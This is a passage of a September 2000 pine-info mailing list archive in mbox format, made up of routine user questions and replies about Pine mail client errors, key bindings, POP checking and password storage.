; Sun, 10 Sep 2000 09:38:41 -0700 Received: from johanna5.ux.his.no (johanna5.ux.his.no [152.94.1.25]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA11771 for ; Sun, 10 Sep 2000 09:38:40 -0700 Received: from gorina13.ux.his.no (gorina13.ux.his.no [152.94.1.53]) by johanna5.ux.his.no (8.9.3/8.9.3) with ESMTP id SAA25317; Sun, 10 Sep 2000 18:38:22 +0200 (MET DST) Received: by gorina13.ux.his.no id MAA08675; Sun, 10 Sep 2000 12:38:21 -0400 (EDT) Message-Id: Date: Sun, 10 Sep 2000 18:38:21 +0200 (METDST) Reply-To: Atle Weibell Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Atle Weibell To: Pine Discussion Forum Subject: Re: Message to save shrank ++ In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Cc: Bruce Cohen X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear brothers (and sisters) in Pine... I've still got problems with saving messages to other folders due to the [Message to save shrank (...)] error, and I also get this message: [Message size does not match expected size, continuing...] I've talked to my ISP about the estimated/actual message size issue, but they could not find anything in the config about it... :( In addition, I've started to get these messages when I view the INDEX: (no trouble at all if I'm just *opening* INBOX) [>Unknown message property: ((NIL<] [>Unknown message property: "ATLE"<] [Junk at end of address list: NIL NIL NIL) (NIL NIL NIL) (...) ] [Not an address: ) NIL NIL NIL "<242EEB3C73(...)@ffsvg02.farmersfield.com>] [Junk at end of envelope (...) ] I'm getting these messages by opening a mailbox either in PC-Pine 4.21 or Unix-Pine 4.21. I've also tried Outlook (sorry...) and that worked 'fine' (at least no errors about this...). But, of course, that's not an alternative... My ISP runs IMail 5.08 6006-1 on an NT Server, reporting "220 X1 NT-ESMTP Server" on port 25. I'll appreciate any help! Regards, -- Atle Weibell | atle@weibell.no | pr 51690007 | mo 90690010 | fx 51690431 | From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 11 Sep 2000 06:19:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA04638; Mon, 11 Sep 2000 06:19:16 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA26010; Mon, 11 Sep 2000 06:19:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA14748; Mon, 11 Sep 2000 06:18:18 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA133394 for ; Mon, 11 Sep 2000 06:17:10 -0700 Received: from mail.i.linux.com (IDENT:root@mail.linux.com [198.186.203.59]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA02505 for ; Mon, 11 Sep 2000 06:17:10 -0700 Received: from shiftq.linux.com (IDENT:mail@shiftq.linux.com [10.1.1.10]) by mail.i.linux.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e8BDH9r07857; Mon, 11 Sep 2000 06:17:09 -0700 Received: from localhost (dwild@localhost) by shiftq.linux.com (8.9.3/8.9.3) with ESMTP id GAA30816; Mon, 11 Sep 2000 06:17:09 -0700 Message-Id: Date: Mon, 11 Sep 2000 09:17:09 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joel Boring To: Pine Discussion Forum Subject: Re: Message to save shrank ++ In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Atle Weibell X-Cc: Pine Discussion Forum X-Authentication-Warning: shiftq.linux.com: dwild owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 10 Sep 2000, Atle Weibell wrote: > Dear brothers (and sisters) in Pine... > > I've still got problems with saving messages to other folders due to the > [Message to save shrank (...)] error, and I also get this message: > [Message size does not match expected size, continuing...] > My ISP runs IMail 5.08 6006-1 on an NT Server, reporting "220 X1 NT-ESMTP > Server" on port 25. I used to get this a lot when CSE was testing exchange server, and also in my last job. One of the service packs fixed imap support in exchange server and also fixed the "message size changed" problem. Another reason (and probably more incentive) to get your ISP to update is there are/were several security holes in old MS MTA's....or you could also switch to an ISP who supports more than just MS propiretary protocols. I have also noticed mailbox corruption when this error pops up. -joel From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 11 Sep 2000 12:04:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA21444; Mon, 11 Sep 2000 12:04:15 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA04807; Mon, 11 Sep 2000 12:04:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA09321; Mon, 11 Sep 2000 12:03:25 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA59418 for ; Mon, 11 Sep 2000 12:01:49 -0700 Received: from mercury.wntck1.sfba.home.com (c62023-a.wntck1.sfba.home.com [24.5.214.41]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA13716 for ; Mon, 11 Sep 2000 12:01:48 -0700 Received: from localhost (chris@localhost) by mercury.wntck1.sfba.home.com (8.9.3/8.8.7) with ESMTP id MAA14921 for ; Mon, 11 Sep 2000 12:01:49 -0700 Message-Id: Date: Mon, 11 Sep 2000 12:01:49 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: chris@c62023-a.wntck1.sfba.home.com To: Pine Discussion Forum Subject: Backspace word at a time MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: chris@mercury.wntck1.sfba.home.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Is there a way to add key commands to allow Pine to backspace and forward space a word at a time like the bashshell ESC-B and ESC-F? Thanks alot!! -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 11 Sep 2000 12:12:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA14912; Mon, 11 Sep 2000 12:12:15 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05042; Mon, 11 Sep 2000 12:12:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA08351; Mon, 11 Sep 2000 12:11:29 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA59418 for ; Mon, 11 Sep 2000 12:10:10 -0700 Received: from moshpit.cygnus.com (moshpit.cygnus.com [203.24.38.233]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA07108 for ; Mon, 11 Sep 2000 12:10:09 -0700 Received: from localhost (bje@localhost) by moshpit.cygnus.com (8.10.2/8.10.2) with ESMTP id e8BJ9vm32340 for ; Tue, 12 Sep 2000 06:09:57 +1100 Message-Id: Date: Tue, 12 Sep 2000 06:09:57 +1100 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ben Elliston To: Pine Discussion Forum Subject: Re: Backspace word at a time In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Authentication-Warning: moshpit.cygnus.com: bje owned process doing -bs X-Sender: bje@moshpit.cygnus.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a way to add key commands to allow Pine to backspace and forward space a word at a time like the bashshell ESC-B and ESC-F? You can go forward with . I was disappointed that I couldn't find a way to go backward. Ben From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 12 Sep 2000 12:46:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA24699; Tue, 12 Sep 2000 12:46:45 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11040; Tue, 12 Sep 2000 12:46:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA18224; Tue, 12 Sep 2000 12:45:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA96230 for ; Tue, 12 Sep 2000 12:43:53 -0700 Received: from Morgoth.esiway.net (Morgoth.esiway.net [193.194.16.157]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA28533 for ; Tue, 12 Sep 2000 12:43:50 -0700 Received: from elendil.esi (Ghost.esi.it [193.194.16.35]) by Morgoth.esiway.net (8.9.3/8.9.3) with ESMTP id VAA05001; Tue, 12 Sep 2000 21:43:48 +0200 Received: from Megathlon.ESI (IDENT:marco@Megathlon.ESI [10.10.10.36]) by elendil.esi (8.9.1a/8.9.1) with ESMTP id VAA20240; Tue, 12 Sep 2000 21:43:47 +0200 (MET DST) Message-Id: Date: Tue, 12 Sep 2000 21:43:47 +0200 (CEST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marco Colombo To: Pine Discussion Forum Subject: Re: Pine authentication for Relayd (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Eduardo Chappa X-Cc: pine-info@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm not sure if this is related, but see: http://www.sendmail.org/~ca/email/chk-rcpt5.html#POP that 'check mail first' seems to suggest a POP-before-SMTP schema... I'm new to the list, and I'm really interested in Pine capability to use encrypted STMP and IMAP connections, as reported in: http://www.sendmail.org/~ca/email/mel/SASL_ClientRef.html but I can't find any info on this (I've searched list archives, and found something about SSL patches, but with no pointers). FAQs and help say nothing about STMP authentication (unless I'm missing something). I'm using PINE 4.21 distributed by RedHat in RHL6.2 (pine-4.21-8). TIA, .TM. -- ____/ ____/ / / / / Marco Colombo ___/ ___ / / Technical Manager / / / ESI s.r.l. _____/ _____/ _/ Colombo@ESI.it From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 13 Sep 2000 01:52:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA03913; Wed, 13 Sep 2000 01:52:07 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA18722; Wed, 13 Sep 2000 01:52:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA11498; Wed, 13 Sep 2000 01:49:45 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA42898; Wed, 13 Sep 2000 01:48:18 -0700 Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA14477; Wed, 13 Sep 2000 01:48:17 -0700 Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14]) by pandora.worldonline.nl (Postfix) with SMTP id 5D86D36BAF; Wed, 13 Sep 2000 10:49:30 +0200 (MET DST) Message-Id: Date: Wed, 13 Sep 2000 10:48:16 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bruce Cohen To: Pine Discussion Forum Subject: more message to save shrank MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum , pine-bugs@cac.washington.edu, PINE-INFO-owner@u.washington.edu, pine@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just noticed another side effect of the message to save shrank problem. Once a message has finally made it from INBOX to mbox - sometimes the first line of the message apparently disappears. You have to turn full headers on to see it - so it is now part of the header! Bruce Cohen -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 13 Sep 2000 10:19:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA04691; Wed, 13 Sep 2000 10:19:32 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA31616; Wed, 13 Sep 2000 10:19:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA11649; Wed, 13 Sep 2000 10:17:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA169590 for ; Wed, 13 Sep 2000 10:16:42 -0700 Received: from fish.la.asu.edu (fish.la.asu.edu [129.219.45.155]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03994 for ; Wed, 13 Sep 2000 10:16:41 -0700 Received: from localhost (peter@localhost) by fish.la.asu.edu with SMTP (8.7.1/8.7.1) id KAA07521 for ; Wed, 13 Sep 2000 10:18:04 -0700 (MST) Message-Id: Date: Wed, 13 Sep 2000 10:18:01 -0700 (MST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter To: Pine Discussion Forum Subject: prevpage question MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN G'day folks I noticed that sometime between pine 3.96 and 4.21 the prevpage command "-" changed in as much as previously it always took you to the top of the previous page, whereas now it takes you to the bottom of the previous page. I've searched the u.wash pine website and the archives for this list but couldn't find anything regarding that command. Can we set it's behaviour ourselves or is it not configurable? Thanks Peter J Unmack peter.unmack@asu.edu --------------------------------------------------------------- DESERT FISHES RULE: To boldly thrive where no other fish can make it! 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In what screen? I tried it in the addressbook screen, and sure enough, it took me to the top of the screen when I pressed '-'. Gopi. -- Gopi Sundaram gopi@cs.sc.edu From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 13 Sep 2000 10:56:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA14103; Wed, 13 Sep 2000 10:56:30 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA00412; Wed, 13 Sep 2000 10:56:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA25527; Wed, 13 Sep 2000 10:55:34 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA35954 for ; Wed, 13 Sep 2000 10:54:03 -0700 Received: from fish.la.asu.edu (fish.la.asu.edu [129.219.45.155]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA01073 for ; Wed, 13 Sep 2000 10:54:03 -0700 Received: from localhost (peter@localhost) by fish.la.asu.edu with SMTP (8.7.1/8.7.1) id KAA07621 for ; Wed, 13 Sep 2000 10:55:24 -0700 (MST) Message-Id: Date: Wed, 13 Sep 2000 10:55:24 -0700 (MST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter To: Pine Discussion Forum Subject: Re: prevpage question In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 13 Sep 2000, Gopi Sundaram wrote: > On Wed, 13 Sep 2000, Peter wrote: > > > I noticed that sometime between pine 3.96 and 4.21 the prevpage > > command "-" changed in as much as previously it always took you to > > the top of the previous page, whereas now it takes you to the > > bottom of the previous page. > > In what screen? Good point, sorry forgot to mention that part. It is the folder list screen only that it behaves this way. Presumably this is an accidental bug introduced? Cheers Peter Unmack From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 14 Sep 2000 06:33:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA03470; Thu, 14 Sep 2000 06:33:40 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA06442; Thu, 14 Sep 2000 06:33:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA16670; Thu, 14 Sep 2000 06:33:04 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA61872 for ; Thu, 14 Sep 2000 06:31:41 -0700 Received: from ns.shellworld.net (IDENT:root@ns.shellworld.net [64.29.16.176]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA27102 for ; Thu, 14 Sep 2000 06:31:40 -0700 Received: from localhost (ka3agm@localhost) by ns.shellworld.net (8.9.3/8.9.3) with ESMTP id JAA23533 for ; Thu, 14 Sep 2000 09:31:34 -0400 Message-Id: Date: Thu, 14 Sep 2000 09:31:34 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Walt Smith To: Pine Discussion Forum Subject: Syntqax for inbox entries in pinerc or .pinerc files In-Reply-To: <61A60D883863D411A36600D0B785B50CC181D7@susdayte51.daytonoh.ncr.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there any way to include the password in these entries so as to avoid having to type them in when I want to access a remote mailbox? For example, take the following and tell me how/where to include a password: {mail.myisp.com/pop3/user=myaccount}inbox Thanks. -- Walt Smith - Raleigh, NC ka3agm@ns.shellworld.net -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 14 Sep 2000 06:35:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA00781; Thu, 14 Sep 2000 06:35:28 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA27085; Thu, 14 Sep 2000 06:35:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA16783; Thu, 14 Sep 2000 06:35:01 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA59422 for ; Thu, 14 Sep 2000 06:34:26 -0700 Received: from ns.shellworld.net (IDENT:root@ns.shellworld.net [64.29.16.176]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA30645 for ; Thu, 14 Sep 2000 06:34:25 -0700 Received: from localhost (ka3agm@localhost) by ns.shellworld.net (8.9.3/8.9.3) with ESMTP id JAA23572; Thu, 14 Sep 2000 09:34:22 -0400 Message-Id: Date: Thu, 14 Sep 2000 09:34:22 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Walt Smith To: Pine Discussion Forum Subject: Re: Backspace word at a time In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: chris@c62023-a.wntck1.sfba.home.com X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN These controls are not Pine-dependent, but are really emulator-specific. I don't know if it's possible to remap emulator keystrokes in your setup, but this is about the only way you'll accomplish what you want. -- Walt Smith - Raleigh, NC ka3agm@ns.shellworld.net From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 14 Sep 2000 10:40:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA07624; Thu, 14 Sep 2000 10:40:39 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA02191; Thu, 14 Sep 2000 10:40:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA10133; Thu, 14 Sep 2000 10:38:39 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA32610 for ; Thu, 14 Sep 2000 10:34:03 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA25636 for ; Thu, 14 Sep 2000 10:34:03 -0700 Received: from goedel1.math.washington.edu (goedel1.math.washington.edu [128.95.224.10]) by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id KAA34435; Thu, 14 Sep 2000 10:32:55 -0700 (PDT) Message-Id: Date: Thu, 14 Sep 2000 10:34:01 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Pine Discussion Forum Subject: Re: Syntqax for inbox entries in pinerc or .pinerc files In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Walt Smith X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Walt Smith (ka3agm@ns.shellworld.net) wrote in the pine-info list about "Syntqax for inbox entries in pinerc or .pinerc files" today: :) Is there any way to include the password in these entries so as to avoid :) having to type them in when I want to access a remote mailbox? For :) example, take the following and tell me how/where to include a password: :) :) {mail.myisp.com/pop3/user=myaccount}inbox If this were possible it would be very unsecure, as the password would be in plain text, for anyone to read, the syntax does not support this, what you have to do instead is define a PASSFILE file in your os.h file and create an empty file with the name you define in your PASSFILE variable in the same directory where your .pinerc file is, rebuild, and after you've done that, pine will start asking you if you want to save your password in the PASSFILE, and then you'll be able to access any incoming folder without the need to enter your password. Entries in the PASSFILE are encrypted, so that makes it a little bit safer. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 02:12:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA24373; Fri, 15 Sep 2000 02:12:12 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA27871; Fri, 15 Sep 2000 02:12:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA08509; Fri, 15 Sep 2000 02:11:35 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA76644 for ; Fri, 15 Sep 2000 02:10:24 -0700 Received: from stork.EMBL-Heidelberg.DE (stork.EMBL-Heidelberg.DE [192.54.41.54]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA17968 for ; Fri, 15 Sep 2000 02:10:22 -0700 Received: from black.embl-heidelberg.de (black.EMBL-Heidelberg.DE [192.54.41.49]) by stork.EMBL-Heidelberg.DE (8.8.4/8.8.4) with ESMTP id LAA14484 for ; Fri, 15 Sep 2000 11:10:20 +0200 (MDT) Message-Id: Date: Fri, 15 Sep 2000 11:10:18 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antje Koschel To: Pine Discussion Forum Subject: pine + POP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Sender: koschel@black.embl-heidelberg.de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I just tried to read mail with pine and POP having the inbox configured as {pop.server/pop3:110}inbox . It checks for mail when I start pine but then pop connection stays until timeout or until I quit pine. And checking for mail that has arrived in the meantime is not possible. A restart of pine is necessary. Is there a way to change this? Thanks, Antje -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user 